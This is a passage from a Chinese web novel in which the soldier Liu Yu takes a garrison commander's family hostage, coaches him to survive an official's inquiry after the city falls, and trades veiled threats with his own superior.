他哪怕是疯狂对着柳羽骂娘，柳羽都仅仅只是觉得好笑而已。 “哎，这真不能怪我，我也是迫不得已啊。” 柳羽淡淡道： “活路，我给你了。” “你可以骂我不是人，但你得承认，我还是有点良心的。” “至少，我给了你选择不是？” 刘总旗笑得苦涩。 选择？ 成为你柳羽的提线木偶？ 全家老小的性命，都掌握在你柳羽的手上？ 以后哪怕拉个屎，都得经过你柳羽的同意？ 这样的选择，对于刘总旗而言，无疑是一种折磨。 还不如死了，来得痛快。 柳羽自然是舍不得刘总旗死的。 好言相劝道： “活着，一切都还有希望，死了，就什么都没了。” “刘总旗，想想你的家人。” “当我的提线木偶很难受，我要是把你家中女眷卖勾栏接客去，你不是更难受吗？” “想想看，要是真闹到那一步，你就算是死了，闭得上眼睛吗？” 此话一出，刘总旗彻底绝望。 柳羽的杀伐果断，让他明确知道。 柳羽真的是一个，什么都干得出来的人。 此刻面对柳羽，刘总旗提不起一丁点的反抗心来。 沉默良久，深吸一口气后，艰难点头。 终于等到刘总旗点头，柳羽顿时开怀大笑。 赶忙跟刘总旗，对应付朝廷，跟应付另外两名总旗的话术。 临县城虽被叛军攻破，无论对朝廷而言，还是对临县守军而言，都是奇耻大辱。 但城破了，城中百姓却保住了。 只要朝廷里还有脑子正常的人，就绝对不可能怪罪。 柳羽让刘总旗记住。 任何人询问，临县城为何会被攻破。 刘总旗都必须表现出一副苦大仇深的模样。 必要时，可以直接破口大骂。 话术对完后，柳羽没急着给刘总旗松绑。 而是又找了几条绳子，绑到刘总旗身上。 打上死结，确定他无论如何，都不可能挣脱后。 柳羽笑盈盈的望着刘总旗： “好兄弟，我去你家走一趟。” “你放心，我柳羽在没来临县，见识到这些恶心人的事情之前，在所有认识我的人眼中，我都是一个讲诚信，守信用的人。” “甚至有人指着我的鼻子骂过我愚善。” 柳羽咧嘴笑着： “我会变成如今的模样，都是被这世道逼的，但我这人，还是十分的讲诚信。” “只要你听话，你爹娘就是我爹娘，我会替你以儿子的身份照顾他们。” “你表现得好，我会让你有机会见到他们的。” 说罢，柳羽将手里带血的刀，一把插在刘总旗面前。 随即，起身快步朝着刘总旗家的放心赶去。 柳羽多少有点担心，之前叛军士兵在城内劫掠的时候，进到过刘总旗的家里。 要是刘总旗家人出事了。 那这好不容易控制住的总旗，就只能砍了。 好在，柳羽一路快跑到刘总旗家门口的时候，他家大院的门是紧闭着的。 柳羽当即翻墙跳进院子里，缓缓朝着内院走去。 一边走，一边用急切的声音朝院子里叫喊： “嫂嫂，嫂嫂？” “嫂嫂你在吗，叛军走了，刘总旗派我来看看你们有没有出事。” 柳羽叫喊了好几遍，寂静的庭院中，听不到一丁点回应。 就在柳羽走进内院，靠近一座厢房门前，准备推门查看时。 隔壁厢房，突然传来女人害怕的声音： “你是谁？” 柳羽明显一愣。 反应过来后，连忙道： “嫂嫂，我是刘总旗手下的兵啊。” “你看我衣服，我不是叛军！” 女人带着哭腔，声音都在颤抖。 她明明很害怕，却保持着清晰思绪问道： “你是相公的兵？” “那你说，相公的真名叫什么，乳名又叫什么？” 柳羽整个人愣住。 却不敢犹豫，生怕女人怀疑，在屋里搞什么自尽： “哈哈，嫂嫂你别开玩笑了，军中大多数时候都称职务，我一个兵丁，哪儿知道总旗的乳名啊！” 柳羽说着，就朝着隔壁厢房的门靠近。 不料，刚有动作就被里面的人察觉。 立马朝柳羽大吼道： “你别过来，你再走一步，我死给你看！” “我虽然是一介女流，但你少在这里骗我。” “先前我看到大批叛军，往县衙方向去了，这种情况下，相公绝不会派一个不是亲信的兵丁，到家中来询问我的安全！” 女人说着，明明带着哭腔。 却无比坚定道： “如果你是想进屋，对我做什么龌龊事，我告诉你，你痴心妄想。” “只要你一靠近，我立马带着孩子自焚！” 柳羽额头一滴汗水滑落，人都麻了。 刘总旗那么蠢，柳羽怎么也没想到，他媳妇居然能是个聪明人。 叹息一声，柳羽知道，不实话实说肯定会出问题。 当即道： “我叫柳羽，武总旗手下的兵。” “嫂嫂，事情比较复杂，一时半会儿解释不清楚。” “你看这样如何，你在屋里不要乱来，我把刘总旗带过来给你看？” 女人话语微愣： “带过来给我看？你对他做了什么？” “没什么。”柳羽认真道：“你只需要知道一点，他现在还活着，但如果你死了，他也一定活不了。” “等我，我很快回来。” 柳羽一脸无语。 本想着直接把刘总旗的家人转移到安全可控的地方。 没承想，这种用别人家人当威胁的坏事，自己第一干居然就失败了。 看来，我还真是没有当坏蛋的天赋呢。 没办法，刘总旗媳妇是个女中巾帼。 柳羽只能原路折返，出了门朝城门口赶去。 再度回到刘总旗面前时。 柳羽一眼扫过去，眼神顿时冷得可怕。 柳羽看见，他先前走时，插在刘总旗身前的刀，倒了。 第一百四十三章 考验演技的时候到了 之前，柳羽离开时，往刘总旗身上，加了几条绳子。 这样做的目的，是确保刘总旗不会趁自己不在，偷偷解开绳子跑掉。 而柳羽把刀插刘总旗身前，有两个目的。 一，是让刘总旗知道，自己没有带任何武器前往刘总旗家。 没带武器，就意味着，刘总旗只要听话，自己就不会伤害他的家人。 二，刘总旗身上的绳子，刘羽打的死结，想解开，唯有用刀。 柳羽把刀就放在刘总旗面前，轻易就能够到的地方。 他是可以尝试用嘴巴叼着刀，去割自己身上的绳子的。 刀倒了，就说明刘总旗，并不是很听话。 柳羽冷着眼走到刘总旗面前。 一见到柳羽，刘总旗连忙询问： “我家人怎么样，你把她们带哪儿去了？” 柳羽摇头： “嫂子很小心，关着门以死相逼，我得带你去见她。” 随即，柳羽笑盈盈地捡起倒在地上的刀。 脸上是笑容，看向刘总旗的眼神，却满含杀意： “你这是，想用刀割绳子，逃跑啊？” “看来，你好像并不怎么怕我。” 刘总旗整个人都懵了。 直到这时才反应过来，柳羽放他面前的刀，居然是一次试探。 “我，我…” 刘总旗神情慌乱，完全不知道该怎么解释。 因为柳羽离开后，他确实尝试过，用嘴叼住刀柄，去割身上的绳子。 只是没想到，身上绳子之前叛军绑得就很牢固，后面柳羽又加固了几根。 光靠嘴叼着刀用力割，割大几个时辰都未必割得开。 刘总旗仅仅尝试了一下，就知道自己不可能在柳羽返回来之前成功逃跑。 怕绳子割多了，被柳羽看出来自己想逃跑，找自己麻烦。 知道不可能逃跑后，立马就选择了放弃。 没承想，从一开始，柳羽就是故意引诱自己逃跑的。 刘总旗深吸一口气，生怕柳羽生气，对自己家人做什么事情。 连忙大声道： “我已经说过我会听你话了，你这个人疑心怎么这么重啊！” “如果是这样的话，你不如杀了我算了。” “你疑心这么重，我根本就没办法给你好好办事！” 柳羽笑着，伸手将刘总旗从地上拽起来。 “火气这么大呢，疑人不用疑人不用的道理，我难道还不懂吗？” “我试探你主要是想告诉你，你既然知道我疑心重，以后为我做事的时候，就不要做什么会引起我怀疑的事情。” “不然，我要是一不小心对你家人做了什么，这不仅仅是你的损失，也是我的损失啊。” 在柳羽看来，人跟狗一样，都是需要驯的。 不训不可能听话。 所以刘总旗想逃跑，柳羽并不生气。 只是借着机会敲打他。 让他知道，自己的城府足够深，不是他能招惹的。 以后，不要再背着自己，搞什么小动作。 果然，一番敲打下来，刘总旗连看柳羽的眼神，都变得小心谨慎了许多。 被柳羽一边拉着，往家走。 还一边自发的给柳羽表忠心： “以后不会了，你说啥就是啥。” “只要你不动家人，我刘天祥，就是你柳羽手下最忠心的一条狗。” 柳羽平静点头，不作什么实质性的回应。 带着刘总旗回到他家后，这回，柳羽让刘总旗自己叫门： “楚儿，是我啊楚儿。” “你们没事吧，爹娘怎么样，玉儿跟环儿呢？” 柳羽叫不动刘总旗媳妇开门。 刘总旗一叫，他媳妇立马就把门打开了。 开门后，泪眼婆娑望着被柳羽五花大绑的刘总旗。 他媳妇心疼的，心都碎了。 柳羽颇讲人性的，任由刘总旗媳妇冲过来，跟刘总旗抱在一起寒暄。 自己则是缓缓退后，退出五六米，给足了空间让这夫妻俩叙旧情。 等了得有一炷香时间。 等到刘总旗把他的情况，跟他媳妇讲明白，说清楚后。 柳羽才走上前，望着刘总旗媳妇道： “嫂子，天亮了，我跟刘总旗还有好多事情要做呢。” “如果你们夫妻两个旧情续完了，就麻烦嫂子收拾收拾，带上父母孩子跟我走吧。” 刘总旗媳妇够聪明，知道自己一家人的性命都掌握在柳羽手上。 听到这话后，也没多说什么。 只是流着泪朝柳羽点了点头，就进屋简单收拾了东西。 带着刘总旗的爹娘跟一男一女两个小孩，走到了柳羽面前。 安置刘总旗一家人的地方，柳羽已经事先想好。 让刘总旗在原地候着。 柳羽直接将刘总旗一家老小，带到了王员外府邸。 把她们所有人，暂时锁在王员外府邸内的堂屋中。 这地方隐蔽，除了柳羽这边的自己人，没有其他人知道。 关好人质后，柳羽就直接返回找到刘总旗，拿刀割断他身上的绳子，给他松了绑。 没了绳子束缚，刘总旗只觉得浑身轻松。 目光看向柳羽，相当老实的开口询问： “武总旗跟王总旗调查完都护府官兵被截杀一事，今日上午应该就会返回。” “咱们接下来，该怎么做？” 柳羽没有第一时间回答，而是询问刘总旗，他家伙房在哪儿。 得出方向后，柳羽走进伙房，在放炒菜的作料架子上，找到装有花椒面的陶瓷罐子。 随即扭头看向跟过来的刘总旗： “你会哭不？” “我的意思是，能不能做到随时随地哭出泪水来？” 刘总旗神情错愕： “我一个大老爷们，哪儿有这本事？” 见状，柳羽直接抓了把花椒面，递到刘总旗手上： “那就拿着我给你准备的神器，随时随地准备哭。” “反正武总旗跟王总旗回来后，无论他们问什么，只要是你回答不上来的，哭就是了。” “到了考验你演技的时候了，你要是哭得不好，咱俩一块玩完。” 刘总旗顿时明白了，柳羽的意思。 深吸一口气，跟着柳羽走到城门口。 清晨的天上飘着鹅毛大雪，城门口满地的尸体与血迹，逐渐被雪花掩埋。 两人并没有处理尸体的想法。 而是找了块尸体比较多的风水宝地，一屁股坐在地上。 静等着出城的两名总旗，带着大军返回临县。 第一百四十四章 接风洗尘第 时间一点点过去，天上的雪愈下愈大。 柳羽跟刘总旗枯坐在城门口，望着城门外大雪纷飞，将城外整片山林所覆盖。 一直等到快正午了，才见远处白茫茫一片的管道上，一匹快马疾驰而来。 “是王总旗手下的兵。”刘总旗瑟瑟发抖道。 柳羽也冷得不行，浑身都在打哆嗦： “那么多人查个都指挥使司被截杀，查了一天一夜，就回来一个人？” 刘总旗心里怨气颇深：“肯定是你家武总旗的主意。” “临县城被破，他不可能不知道。” 说着，刘总旗一脸冷笑，饶有深意朝着柳羽道： “临县三个总旗，都说武总旗五大三粗，王总旗平庸无能，我姓刘的心机最重。” “殊不知，他姓武的，平日里五大三粗没脑子只是表象，整个临县真正厉害的人物，是他。” 柳羽没有回话，只是不置可否的扫了刘总旗一眼。 两人有一茬没一茬的聊着，那名骑马赶来的士兵，很快就抵达了城门口。 他在城门外下马后，望着城内惨状，却在断站惊骇后很快恢复平静。 随即朝着城内的刘总旗抱拳： “刘总旗，我家王总旗命我来通知你，洛北城都指挥使司千户汪大人，今日傍晚亲临临县，要你做好为汪大人接风洗尘的准备。” 刘总旗眉头紧锁： “接风洗尘？临县城昨夜被叛军攻破，你没长眼睛，看不见吗？” 那士兵却是笑着抱拳低头： “卑职看见了。” “只是，临县城上刘总旗镇守的，城破了，跟卑职何关？” 刘总旗眼睛瞪大，满脸不可置信： “与你何关？这是你的意思，还是你家王总旗的意思？” 士兵轻笑道： “回刘总旗的话，这是王总旗跟武总旗，两位总旗共同的意思。” 说罢，士兵竟然转身上马，调头就走。 连一丝停留的意思都没有。 武总旗愣在原地许久，才脸色难看到极点，朝着柳羽道： “呵呵，柳羽，你低估你家武总旗的无赖了。” “不信我们打个赌，我赌王总旗跟武总旗，一定会在天黑时，随都指挥使司的千户大人一同返回临县，他们返回的时候，就是我被定罪问斩之时！” “临县城被破，一概罪责，将尽数由我一人承担。” 柳羽轻生一笑，多少有点没想到，城外的两名总旗，会玩这么一手。 本来还想着，等他们回来，让刘总旗跟他们狗咬狗呢。 不过问题不算太大。 柳羽从雪地里起身，顺手将刘总旗拉起来： “放宽心，你是我的人，我不会让你死。” “他们不是说，让我们准备好迎接都指挥使司来的大人吗，那就准备。” “好酒好肉，该安排的，全部安排上。” 刘总旗表情古怪。 临县城里，除了他跟柳羽，就剩下遍地残垣了。 还好酒好肉，上哪儿弄好酒好肉去？ 柳羽并不解释，只是带着刘总旗快速赶至临县城后城门，出城后，沿着山道朝松阳山上赶去。 昨晚李晟王五带着城里平民撤离，在雪地里留了不少还没被大雪掩盖的痕迹。 柳羽带着刘总旗顺着痕迹一路走，才走出不到两公里，就见上方四五百米的山道上，有一对二十几人士兵队伍，正顺着山道下来。 带队的，正是李晟跟王五。 柳羽发现他们的时候，李晟也很快发现了柳羽： “羽哥儿，你没事吧？” “特娘的刘季，跟我说我带人撤离后你随后就到，早上才跟我说实话，说你压根就没想过撤离。” 柳羽咧嘴一笑。 看到自家兄弟的这一刻，心情都变得舒畅了许多。 不过柳羽并没有做过多的解释，而是立即道： “临县城没事了，晟子，你这些人跟我走。” “王五，你折返把山上的所有人，都接回城。” 王五没有多说什么，转头就朝山上走去。 柳羽则是带着李晟等人快步回城，让李晟带人，把城门口的尸体收集起来堆积到一起。 一般情况下，这些尸体是需要立即挖坑掩埋，或是就地焚烧的。 否则时间一久，容易滋生瘟疫。 不过现在天寒地冻的，没必要那么讲究。 加上柳羽要留着这些尸体，保刘总旗一命。 所以只是让李晟带人，把尸体堆城门口边上的城墙根上，堆醒目些，好看些。 做完这些后，柳羽又立即让李晟带人，却将昨晚被叛军洗劫过的县衙收拾干净。 一直忙活到午后，王五已经带着平民顺利回城。 跑到县衙里找到柳羽： “羽哥儿，三百多名平民，还有咱几十号兄弟们，都一天一夜没吃东西了。” “是不是想办法搞点粮食，煮点米粥分发下去？” 柳羽刚收拾完县衙，听到这话眉头微皱，目光朝着刘总旗看去：“城里什么地方还有粮食？” 刘总旗脸色很是难看： “县衙的存粮已经全被叛军洗劫一空了，估计，就只有几个卫所营营地仓库里还剩着粮食。” 柳羽当即看向李晟： “带人去每个卫所营仓库搜，搜到粮食后，在城门口架锅煮饭。” “但记住了，没有我的命令，饭煮好哪怕放凉了，也绝对不能分发下去。” 李晟一脸不解。 正想询问缘由，柳羽却是摆手道：“快去办，别耽搁。” 说完，柳羽又将目光朝着王五看去：“你带人到城里找找，主要找大户人家的伙房，把能找到的肉食全部都收集起来，带到城门口。” 王五点头，立即前去照办。 到了傍晚时分。 柳羽在城门口架起十来口大锅，每口锅里，都熬煮着热粥。 三百多名平民，齐聚在城门口两旁的火堆边烤火，眼巴巴望着冒着阵阵白烟的大锅。 柳羽却让李晟王五陆游他们，带着四十六名叛军精锐，在大锅边上严防死守，不允许任何平民靠近。 粥一碗不发，反而是将冻得瓷实的鸡肉鹿肉，一块块分发到平民手上，让他们好生拿着，不允许私藏，更不允许放火堆上烹煮。 只许看，不许吃，违者就地格杀。 柳羽的做法，几乎是将一大帮平民恶急了眼，哪怕冻肉硌牙，也要偷着硬咬上两口。 这一幕，就连刘总旗都有些看不下去了： “柳羽，你这到底是想干什么？” 第一百四十五章 能救你的，只有百姓 “救你命，还能干什么？” 柳羽冰冷的回答了一句，正巧看见城门外，有大队人马正在缓缓靠近。 柳羽当即将目光看向李晟王五： “粥煮好了，发粥。” 此话一出，周围的平民顿时兴奋了起来。 一等到白粥发到手上，就不顾滚烫，大口猛灌。 柳羽却是站到十几口大锅边，朝着所有正在喝粥的百姓抱拳大声道： “诸位，昨夜叛军攻城，临县城破，刘总旗手下的兵马损失惨重啊。” “大家看看这些阵亡将士的尸体，到现在都尸骨未寒呢。” “但你们知道，为什么你们还活着，还能喝到粥吗？” 平民里面，一个老实巴交的壮汉小声道：“因为，我们被连夜撤离了。” 柳羽点头： “对，叛军攻城，刘总旗命人将你们事先撤走，自己却带着手下士兵，死守城门！” “所以你们要明白，是刘总旗救了你们的命，是刘总旗给了你们粥喝，你们要懂得感恩啊！” 柳羽一边说着，还一边将刘总旗拉到自己身边。 让所有人，都看清楚刘总旗的长相。 战乱年间，官吏腐败，欺压百姓是常事。 平民百姓，为了一口吃的卖儿卖女，更是屡见不鲜。 柳羽这话一出。 无疑是在告诉全城百姓，刘总旗是一个好官，一个救了他们命，还给他们吃的的青天大老爷。 他们虽然不会追求真相。 却清楚知道，像刘总旗这样的青天大老爷，失去了就不会再有了。 纷纷朝刘总旗投来了感谢的目光： “刘总旗，是我们临县的救星啊！” “是啊，没有刘总旗，恐怕昨天晚上我们就被进城的叛军给杀了。” “刘总旗，老头我没啥可谢你的东西，请受老头一拜。” 不少喝了粥的百姓，在得知昨晚上刘总旗安排他们撤离的，纷纷面朝刘总旗跪拜磕头。 刘总旗本人却是一脸懵逼。 百姓不知道，他却清清楚楚知道，撤离百姓的事脸色柳羽干的，跟他一点关系都没有。 面对百姓的跪拜，刘总旗没有一点开心，反而是满心彷徨跟愧疚。 “别，别拜我，不值得，我不配，是柳…” 刘总旗愧疚的当场就想解释。 柳羽却一把按住刘总旗肩膀： “你以为我愿意把功劳让你顶替啊？” “临县城被破，都指挥使司千户大人进城后定然兴师问罪，谁都护不住你，唯一能护你的，只有这满城百姓，懂吗！” “你要觉得不好意思，等保住小命后再想想，该怎么当个好官！” 刘总旗神情剧震，望向柳羽的目光，泪水涌动。 直到此刻他才明白柳羽的良苦用心。 也是直到此时，他才意识到，为什么柳羽身边的一帮子兄弟，都愿意死心塌地跟着柳羽。 似乎，给柳羽当傀儡，没有想象中的那么坏。 沉默许久，刘总旗朝着柳羽坚定点头： “嗯，我知道了。” “羽哥儿，谢谢。” 柳羽没好气地白了刘总旗一眼：“叫小柳，你是总旗我是小兵，别让人看出问题来。” 两人正说着，城门外的大队人马，已经抵达城门口。 只见城门口乌泱泱上千人的队伍当中，一个身穿甲胄的士兵下马。 刚落地，就朝着城内怒吼： “守城将领是谁，滚出来！” 柳羽抬手，轻轻拍了拍刘总旗的后背： “能救你的一切方法，我都使上了。” “但这一劫，还得你自己度。” 刘总旗深吸一口气点头。 整理了一下衣衫，慌忙跑到城门中间跪倒在地： “卑职刘宪阳，守城不利，请千户大人责罚。” 那名身穿甲胄的士兵没有再说话，而是侧开身子，让出身为。 后方，一个胡子花白，剑眉如鹰般锐利的老将军缓步走过城门窄道，进入城中。 他的目光，先是从城门口堆积的尸体，和手里端着白粥的百姓身上划过。 随即冷眼看向跪倒在地的刘总旗： “听说昨夜，临县城被叛军攻破了？” 还不等刘总旗回话。 王总旗跟武总旗两人，快步跑到老将军身后。 王总旗朝着老将军抱拳道： “汪大人，昨日我跟武总旗得知都指挥使司队伍在官道上被叛军截杀，第一时间带兵出城探查。” “离去时，城内至少还剩三百守军，加之临县城城墙颇高，守城器械完备，哪怕叛军人马比守城士兵多出三倍，也绝不可能在一夜之内破城而入。” “哦？”听闻此言，汪大人看向刘总旗的目光愈发冷厉：“那麻烦刘总旗，解释解释吧。” 刘总旗浑身颤抖，在汪大人恐怖的气势下，一时间，竟然一句话都说不出来。 柳羽看得心急如焚。 啥都给你准备好了，怎么特么关键时刻掉链子。 眼见汪大人眼中杀意凛然，柳羽顾不得其他，连忙大声朝着汪大人怒吼道： “解释？这位大人，你想要什么解释？” “临县城守城器械完备不假，但昨夜攻城叛军足足有千人之巨！” “刘总旗又要抽调人手，撤离城中百姓，又要带队拼死抵御叛军攻城。” “麻烦大人告诉告诉我，在这样的情况下，大人你来守城，你守得住吗？你能在保证百姓无一人受伤的情况下，把叛军抵御在城墙之外吗？” 汪大人眼睛微眯。 他身边一个亲兵立刻手指柳羽怒吼： “放肆，这里有你说话的份吗？” 好在，烂泥扶不上墙的刘总旗，终于鼓起了勇气。一脸硬气地站起身，目光直视汪大人：“有什么责任我担着，别拿当兵的撒气。” “汪大人，临县城百姓无一人殒命，但城破了就是破了，我是守城不力。” “所以，要杀要剐悉听尊便，只希望我死后，大人接管临县，能善待城中百姓。” 此话一出，所有百姓都坐不住了。 纷纷为刘总旗说话： “刘总旗是好官啊，怎么能杀他啊。” “是刘总旗救了我们的命啊，要杀他，就先杀了我这把老骨头吧。” “没天理啊，救了一城百姓的大英雄，居然要被问罪，这世道到底怎么了啊。” 汪大人目光从一众百姓身上扫过。 再看向刘总旗的时候，目光依然很冷，却已经没有了杀意。 第一百四十六章 平衡之术 “刘总旗，城被攻破了，满城百姓却无一人伤亡？” 汪大人用近乎质问的口吻道。 刘总旗浑身一颤。 但却是强忍镇定道： “回汪大人，是的。” “我护卫营，二百四十八名将士，除我之外全部战死。” “全城还未逃亡的三百九十多名百姓，无一人伤亡，全部在叛军攻城当晚，提前被撤往了临县后方的松阳山。” 听闻刘总旗此话，汪大人的目光，却是冰冷地看向了柳羽等人，和柳羽身后，四十六名，柳羽从叛军玉军师手上调来的精锐士兵： “你说你手下将士全阵亡了？” “那他们是什么？他们是谁的兵？” 不等刘总旗回话，一旁的王总旗立即厉声呵斥： “大胆刘宪阳，千夫长大人在此，你还敢撒谎！” “我怎么记得，临县城剩余百姓还有接近五百人，到你这就剩下了不到四百？” 柳羽眼角余光，冰冷地看向王总旗。 临县城总旗跟总旗之间，从来都不是一团和气。 总旗跟总旗之间，总旗跟县令之间为了权利金钱引起的斗争，可不在少数。 柳羽记得很清楚，临县在战乱前，是一个有着几万人口，五六个卫所营的大县。 后来因为民变四起百姓逃亡，将士战死。 临县就只剩下一千多名将士，由三个总旗统领。 再加上大户人家，还远不到一千人的战乱之地。 这种情况，站着普通百姓跟士兵的角度上来说，是坏事。 但站着总旗的角度上来说。 总旗数量越少，单个总旗的权利就越大。 王总旗此刻抓住机会，如此针对刘总旗。 明显是想将刘总旗一把按死，让临县只剩下他王总旗跟武总旗两个总旗。 权利变大的同时，王总旗还能好好在汪大人面前表现一把。 看起来，汪大人这次带来的人可不少，除去两位总旗带出城的兵马，多了少说得有五六百人。 朝廷应该是因为都指挥使司被截杀一事，有意想在这个冬天，稳住临县城的局势。 好等到春天一到冰雪融合，大军调动，一举平定战乱。 如此一来，战事平定就在眼前。 等到这个冬天过后，临县可能就被重建。 到那时，刘总旗一没，王总旗跟武总旗这两个临县唯二的总旗，权利地位将进一步扩大。 心里想着，柳羽瞬间明白了，王总旗为什么要如此针对刘总旗。 当即朝着汪大人抱拳道： “回大人的话，卑职跟卑职这群同僚，不是刘总旗手下的兵，而是武总旗提前得知叛军可能攻城，暗插在城内，帮着刘总旗分担守城压力的。” “至于百姓数目不对，这是因为在场的都是平民百姓，城里的大户人家，还缩在自家院子里，没有出来。” “大人若不信，立即就可派人探查。” 柳羽此话一出，刘总旗如释重负。 而被柳羽突然提及的武总旗，却是眼睛一亮。 武总旗朝柳羽投来一个赞赏的目光，立即上前朝着汪大人抱拳： “大人，都指挥使司官兵被截杀，我临县不能不管，必须查清楚给朝廷一个交代。” “但卑职又偶然得知，叛军可能攻城。” “两难之下，卑职只能一面带兵出城调查都指挥使司被截杀一案，一面暗插两个队的兵马在城中，一旦临县危险，立即撤离百姓。” 不知道是因为什么。 汪大人对刘总旗没好脸色。 对武总旗却是和善得不行。 一听到这话，汪大人手指武总旗，面带笑意道： “看看，都看看，这才是朝廷的好将领啊，既为朝廷着想，也为百姓着想。” “这样好将领，现在打着灯笼也难找啊！” 夸奖完，汪大人即刻道： “行了，既然查清楚了，那就没什么事了。” “叛军截杀我都指挥使司官兵，又攻临县城，此次本官便是奉朝廷旨意，前来镇守临县，剿除匪患的。” “现在本官执掌临县，所有人听命！” 武总旗王总旗，城内城外士兵，纷纷面朝汪大人行军礼。 汪大人先是冷眼看向刘总旗： “刘宪阳，身为总旗，守城不利！” “但本官念在你舍命护了全城百姓的安全，不杀你头，也不撤你职，你的总旗身份，维持原样。” 话说完，汪大人却是瞬间变脸，脸上顿时有了笑容： “武汉冲，武总旗！” 武总旗立即半跪在地：“卑职在。” “你查案有功，守城有功，本县任命你为临县总督。” “刘王两位总旗，和他们手中的兵马，皆由你调配！” 武总旗双手抱拳：“谢汪大人。” 听到汪大人做出的命令，柳羽眉头微皱。 武总旗升官对柳羽来说是好事，但武总旗不受柳羽控制。 受柳羽控制的刘总旗，就光有一个总旗的名头，汪大人却不给他兵马。 这不妥妥个光杆司令吗？ 我要个光杆司令干什么玩意？ 费劲巴拉折腾半天，差点把自己命都搭上了，柳羽完全接受不了这个结果。 思来想去，柳羽决定赌一把。 一路小碎步跑到武总旗身边，柳羽小声朝武总旗嬉笑道： “总旗，这么说来，你升官我是不是也跟着升官了？” “嘿嘿，刘总旗成了光杆司令，要不你把他踹了，让他把总旗位置让给我坐。” 听到柳羽这话，武总旗很想笑。 但碍于汪大人就搁旁边站着，武总旗只是极小声凑到柳羽耳边道： “你小子，可真敢说啊。” “总旗给不到你，不过你小子这次干得不错，我人不在临县，你就把功揽我身上了，放心，少不了你小子好处的。” 柳羽脸上挂着激动的笑容。 但武总旗所谓的好处，柳羽却是压根看不上。 故意跟武总旗说这话，也不是说给武总旗听，找武总旗揽功劳的。 而是故意做给汪大人看的。 虽然柳羽不知道，汪大人对武总旗的态度为什么这么好。 柳羽却很清楚，当大官的，一定不希望自己的属下一家独大。 做领导，只要脑子正常，治理属下，讲究的就一定是平衡。 现在汪大人给武总旗升官，武总旗一人的实力，王总旗抗衡不了，刘总旗这个光杆司令更抗衡不了。 第一百四十七章 句句带刀，字字诛心 柳羽笃定，汪大人一定不希望看到一家独大的场面发生。 不然一旦武总旗发展到一定地步，背后捅他一刀，就有得他哭了。 柳羽跟武总旗说话的声音虽然小，汪大人听不到。 但柳羽这个当属下的，一见自己顶头上司升职，就立马兴奋跑过来朝武总旗献殷勤。 一定会引起汪大人的不满。 果然，不出柳羽所料。 汪总旗看到这一幕，扭头淡淡朝着武总旗道： “武汉冲武总督，你现在当总督了，重要的是管手下总旗，而不是管手下士兵。” “将军，管的将，而不是兵。” “正好刘总旗手下士兵都战死了，拿出你身为总督的阔气来，从你手下分出四百人，交给刘总旗吧。” 临县现在的情况是。 刘总旗手下一人都没有，王总旗手下四百多人，武汉冲手下五百多人。 现在汪大人一条命令下来。 武汉冲从总旗升为了总督，手下却只剩下了一百多人。 而刘王两位总旗手下，各四百人。 这一下子，就成了，武汉冲虽然升了总督，表面权利提高，实际权利却被大大削减。 刘总旗跟王总旗，无论哪一个总旗，都可以威胁到武汉冲这个总督的地位。 表面权利跟实际权利相冲，一下子就达到了平衡。 听到汪大人这话，武总旗狠狠瞪了柳羽一眼。 却也不敢忤逆汪大人的决策，只能极不情愿的点头道：“是，汪大人。” 刘总旗见汪大人给自己安排了兵马，激动得感激涕零。 连忙朝着汪大人道： “大人，您舟车劳顿，县衙我已经收拾出来了，随时都可以前去休息。” “对了，全城百姓听闻汪大人来了，都觉得是青天大老爷来了，纷纷把家里珍藏的肉食拿出来，想好好接待大人您。” 刘总旗此话一出。 旁边的百姓们，纷纷掏出柳羽事先让人发给他们的冻肉： “大人，您一定要收下啊。” “是啊大人，只有您能救我们临县了。” 汪大人却是朝着百姓们摆手： “不用不用，我手下将士们带了军粮来。” “大家留着自己吃，放心，我来了后，叛军再也不可能踏入临县一步了！” 说着汪大人就让刘总旗带路，领他去县衙。 声音虽然依旧微冷，但看刘总旗的神情，却和蔼平常了许多。 柳羽望着这一幕，心里那叫一个欣慰。 别说，刘总旗虽然别的不行，但这拍马屁的功夫，柳羽还是认可的。 这对柳羽来说，无疑是一件大好事。 刘总旗作为自己的傀儡，越会拍马屁，地位越高，自己的实力就越强。 不知不觉中，柳羽从一个小兵，已经成长为了，能在实际上，影响临县事态走向的暗中操控者。 等到刘总旗带着汪大人跟他的兵马走远，王总旗跟他的兵马，还有百姓们也纷纷散去。 唯独武总督，一脸怨气地瞪着柳羽： “你小子特么故意的吧？” “你说说看，你在老子手下，老子哪点对你不好，你要这么坑老子？” “四百人，你知道这四百人我交给刘总旗后，我成啥了吗？” 柳羽尬笑着挠头：“哈哈哈，别生气嘛武总督。” 简单劝解一句后，柳羽的声音却变得低沉而微小： “武总督，咱之间的关系你还不清楚吗？” “都指挥使司被截杀一案的真相是什么，你我心知肚明，你敢说，你没动过杀了我跟我这帮兄弟，让真相永远消失在你肚子中的想法？” 此话一出，武总督顿时就不怒了。 都指挥使司一案，是他让柳羽干的。 柳羽是执行人，而他是策划者。 两人从来就不是简单的，上下级关系。 而且柳羽说的很对，也很现实。 武总督这个策划者，唯有柳羽这帮执行人全死光了，他才能把自己彻底摘干净。 事实上，武总督不止一次，动过杀了柳羽的念头。 甚至实行过实际行动。 比如，在明知道叛军会攻城的情况下，还让柳羽跟刘总旗这个不靠谱的东西，一块守城。 所以此刻柳羽只是稍稍一提起，武总督就立马由满脸愤怒，转变为了满脸笑颜。 哥俩好似的，无比亲切地搂住柳羽，面带微笑笑着道： “哈哈哈，事情败露大家都没好处，我还是相信你的。” “话说，刘总旗给了你什么好处你这么帮他？” “他什么能力我清楚得很，就凭他，绝对做不到撤离百姓这件事。” 柳羽同样面带微笑，反手搂住武总督肩膀： “你说这啊？” “刘总旗可是我的骨肉兄弟，挚爱亲朋，我当然得帮衬着啦。” “话说，我没死，总督你是不是很惊讶啊，今晚睡得着吗？” 武总督哈哈大笑： “一碗酒下肚，我睡得可香了！” “老实说，你跟姓刘的到底啥关系。” 柳羽没有正面回应，而是依旧满脸笑容道： “也没啥很特别的关系吧。” “只是能做到，让他杀总督全家，他眼睛都不带眨一下而已。” 听闻此言，武总督搂着柳羽肩膀，不禁更亲切，笑得更大声了。 不知道，还以为两个人，一个总督，一个当下属的，关系有多铁呢。 实际上，两人满脸笑容说的话，句句带刀，字字诛心！ 一等到两人互相搂着，进了城门楼子，把门一关。 在外人看不到的地方，武总督看向柳羽时，脸色笑容骤然消失，眼神更是瞬间就冷厉了下来： “给刘总旗的四百人，你手下那几十个不知道来路的兵，还有你跟你那伙人，我全都要算在内！” “还有，都指挥使司可是丢了十几箱财宝，汪大人那里是能查到账目的。” 